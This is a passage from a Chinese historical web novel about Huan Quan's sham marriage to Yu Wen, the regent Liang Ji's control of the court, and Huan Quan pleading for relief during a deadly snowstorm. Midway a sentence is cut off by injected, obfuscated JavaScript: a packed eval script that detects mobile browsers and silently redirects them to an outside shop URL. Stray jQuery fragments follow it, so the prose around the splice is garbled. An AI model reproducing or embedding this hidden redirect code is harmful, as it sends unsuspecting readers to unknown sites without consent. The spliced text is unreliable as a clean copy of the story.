待前厅的宾客散去大半后,桓权才去青庐见庾玟,陪着新娘子的女性亲眷宾客,见新郎来了,纷纷起身告辞,桓权将人送至门口,才回屋来。
此刻屋子中只剩下伺候的侍女,桓权挥手让侍候的人都退下,瞧向执扇面的庾玟,伸手拿下她的却面扇,笑道:
“堂上美人客,娇色若流霞。”
“公子待其他人也这般无礼吗?”
“夫人可不是旁人,今日后,卿可就是我的妻了。”
桓权笑着,瞧见桌上摆着的瓠瓜,拿在手中把玩,庾玟从桓权手中接过,在瓠瓜中倒了半盏酒,递了一盏给桓权,桓权哑然失笑,道:
“非得如此齐全吗?”
“既是成亲,又岂能不全?”
桓权默认,两人行合卺酒,将瓢中酒饮尽。
“夫人,嫁给我,委屈你了。”
“你情我愿,便不是委屈。”
“以后你若有了心仪之人,我们便和离。”
庾玟抬眼看向桓权,含情凝眸,似有无尽话语,道:“不会有那一日的。”
桓权微微一怔,有些吃惊,并不信庾玟的话,嗤笑一声道:
“世间女子谁不想举案齐眉,夫妻恩爱白头。”
“我便不想,嫁与郎君,我心底很是欢欣,郎君想要做的事,不是一般的事,妾虽浅薄,亦想助郎君一臂之力。
书令的事,我会如约的。”
“多谢。”
两人相视一笑,一场虚假的婚姻,两人却只觉解脱,桓权将府中内外的情况都与庾玟说了一遍,庾玟表示都记下了。
新婚燕尔,桓权难得有几日假期,便带着庾玟,连着蕲茝一群人去泛舟游湖,登山赏景,颇有几分新婚小夫妻的甜蜜,羡煞旁人。
立太子的旨意很快就晓谕九州,一时朝内沸议,纷纷猜测此事,大将军的态度如何。
久未上朝的大将军梁冀也难得上朝,众人见大将军,纷纷拱手侧立,带剑上朝,入朝不趋。
梁冀的野心昭然若揭。
“陛下。”
梁冀好歹给了天子几分颜面,带头行跪拜礼,其他臣子见状,纷纷紧随其后,山呼万岁。
天子身着冕服,隔着珠帘遥望大将军梁冀,心中对此人痛恨不已,却还是要强装镇定。
“大将军请起,众卿平身。”
梁冀侧立在天子之侧,手放在腰间佩剑上,昂首挺胸俯视着朝堂众人,道:
“听闻众人议论纷纷,似乎对立储之事不满?”
众大臣面面相觑,谁也不敢说话,此事他们虽有耳闻,却不敢揣测大将军的心意。
此前传闻大将军有意肃王为太子,只是后来不知怎么就变了主意,改请陈王为储君。
大将军的心意,诡秘难测。
梁冀的手段众人心里都是清楚的,谁也不想贸然去触霉头。
梁冀见状,内心颇为自得,他早让人放出消息,当初是肃王,如今是陈王,就是为了瞧瞧朝廷众人哪个敢不服从他。
“陛下,太子既立,该选太傅辅佐才是。”
“大将军意欲何人?”
“临淄侯王承恭恪笃行,可为太傅。”
王承现今任司空一职,官显职重,在朝中素有威望,可以说是担任太傅的不二人选。
王承闻言,却战战兢兢起身,拱手对天子,道:
“臣才疏学浅,恐难胜任太傅一职,还请陛下、大将军三思。”
“王司空太过谦恭了。”
梁冀意味深长笑道,王承却只觉如芒刺背,抬眼小心翼翼觑看梁冀的脸色,见梁冀正打量着自己,慌得手中笏板差点掉了。
“承蒙大将军厚爱,臣愧不敢当。”
梁冀笑了一声,并未继续深究,可王承仍觉内心不安,他很清楚,这件事并不算完。
这场朝议表面上议的是立太子一事,实则梁冀向天下表明自己至高无上的权势。
立储一事,不过是他随意一句话的事罢了。
天下事,尽在他一人手中。
天子心中气闷,仍得配合着梁冀将这出戏演下去。
梁冀又接连提了几个议题,说是讨论,其实不过是梁冀一人说了算。
归朝后,天子仍旧愤愤不平,本就重病的身子因此又加重了几分,天子愤懑不已,杀心渐起,欲除梁冀而后快。
连夜下诏宣亲近大臣入朝,身边杨内侍急忙劝道:
“陛下深夜急召大臣,必令大将军起疑,还请陛仔细思量。”
“依你说,应当如何?”
“陛下若要计量,何不假托国舅之名?”
“何意?此番立储一事,顾氏与梁冀愈发亲厚,恐不肯为朕所用。”
“顾太仆乃皇后兄长,国舅入宫看望亲妹,理所应当。”
“既如此,传旨,皇后重病,急着国舅入宫。”
“是。”
阴沉的云笼罩在皇城上空,天色十分昏暗,肃风吹动着满地落叶,树叶随着狂风摇动着,发出飒飒的声响,犹如尖利的哨音。
桓权立在廊下,瞧着天色,心中憋闷,庾玟从屋内走出,手上搭着一件白色的大氅,来到桓权身侧,伸手将大氅披在桓权身上,随着桓权的目光,一同瞧着阴沉的天。
“这风未免也太大了,瞧着恐怕是要下雪了。”
“往年这个时节建康城尚不会下雪,今年比往年要冷上不少,恐怕真要下场初雪了。
建康城的百姓大多没有御寒的衣物,天又这么冷,风又吹得这么大,只恐又是一场灾祸。”
“士衡放心,我已让毛舒清点了库房,还有些布匹和粮食可以用来救济,只是一家之力到底微薄,若是朝廷能重视,想来伤亡也会少些。”
庾玟眉目含愁,她虽与桓权是初婚,两人却像相识了许久一般,有着相似的柔情,无尽的话语。
“我已上疏给陛下和大将军,请求早些预备救灾事宜,奈何一直没有回音。想来这等吃力不讨好的事情,谁又愿意做?
罢了,我回头亲自去大将军府,向大将军陈情。”
“我昔日读《晏子春秋》,便有连日大雨致使房屋损坏一事,晏子曾多次请求齐景公发放粮食救济灾民,都未有回应。
郎君今日情形与当年晏子是何其相似,然而晏子最终能以理服人,说服齐景公开仓放粮,妾相信郎君定能如愿。”
庾玟偏头看向桓权,目光悠远乌黑的眸子闪着异样的光芒,那是在这个虚伪世道中少见的信任,浮动着层层涟漪。
“夫人博学。”
桓权回应着庾玟以相似的目光,那颗防备深
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14068584|146134||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
重的心在不知不觉间被悄然融化,庾玟不是天真无邪的少女,她有智慧、很聪颖,这样人的信任远比单纯之人的信任更难得。
桓权心底是喜欢和聪明人结交相处的,以前的江左名流,是清谈名家,如今桓权发现庾玟的才华不输于他们,她更空灵,有着世俗之人所没有的清透。
她很喜欢庾玟。
太和十年,初冬大雪,大雪接连三日不曾放晴,京中房屋毁之□□,冻饿而死者不计其数。
桓权上疏天子的奏疏,被中书省压下了,天子如今正有心自己百年之后,大将军梁冀篡逆一事,自然无心理会这些“琐事”。
天子身边近臣也不愿拿这些“乌糟事”来打扰天子,眼见年关将至,谁愿意去触这个霉头,至于这些庶民,谁又在乎了?
朝廷重臣大多是世家出身,他们自然有锦衣狐裘可以避寒,出行也多是宝马香车,多有护卫随行,自然是见不着这些冻饿黎民的。
桓权心中本没有太多期望,这些年她早已习惯,只是心底到底还是不忍,还是亲自求见大将军梁冀。
梁冀听闻桓权求见,有些吃惊,世家子弟多是不务实事的,桓权又是新婚燕尔,大冷天来求见必然是有要事,便宣人进来。
桓权作揖行礼后,大将军赐下座位,桓权却立在堂下,身子挺直,目色清冽,道。
“大将军知道致使京中有灾祸之事正在发生吗?”
“不知,士衡有何见教?”
梁冀饶有兴趣打量桓权,目光逡巡落在桓权身上,那是一个知趣的人,不会平白无故说恐吓的话。
“京中大雪,连日不霁,房屋毁坏,百姓有冻馁之苦,社稷有累卵之危,岂非祸事?”
“士衡,言之过矣,一场大雪何至于此?”
梁冀不以为然,照旧饮酒,他以为桓权神色匆匆是为了什么,不料不过是冻死几个贱民而已,对于执掌天下的他而言,实在算不得什么。
“古语有云:‘能爱邦内之民者,能服境外之不善’谓之‘威服天下’,今百姓居于水深火热之中,衣不能避寒,食不能果腹,民不能安,民不安则乱必起,动乱既生,则天下乱,天下乱,而社稷危。
如此,大将军纵执掌天下,又有何益?大将军莫非忘了秦失天下,群雄逐鹿;汉失天下,诸雄并起,若真到那时,大将军可还能安稳否?”
梁冀的神色青白交加,面色阴沉下来,目光紧紧落在桓权身上,似乎下一刻他就将令武士将人拖下去斩杀,沉默在两人之间静静流淌。
梁冀并没有选择处死桓权,只是低沉着嗓音道:
“你应该知道,若是旁人说这话,他的尸首此刻已经悬在城门口了。”
“下臣只是尽为臣的本分罢了。为大将军解忧,为社稷尽忠,如此而已。”
梁冀并不全然相信桓权的话,这小子自小就是只狐狸,聪明得紧,小嘴跟裹了蜜一般,身姿灵活,谁也不得罪,心里自有一把小算盘。
可有一点,他却是信的,桓权的恻隐之心。
“你想救灾民?”
“这是作为臣子应该做的事。”
“朝廷百官,那么多人,其他人都一言不发,怎么偏偏就你看到了?你难道就没有想过为何你的奏疏一直没有回应吗?”
“臣知道,可臣得做。”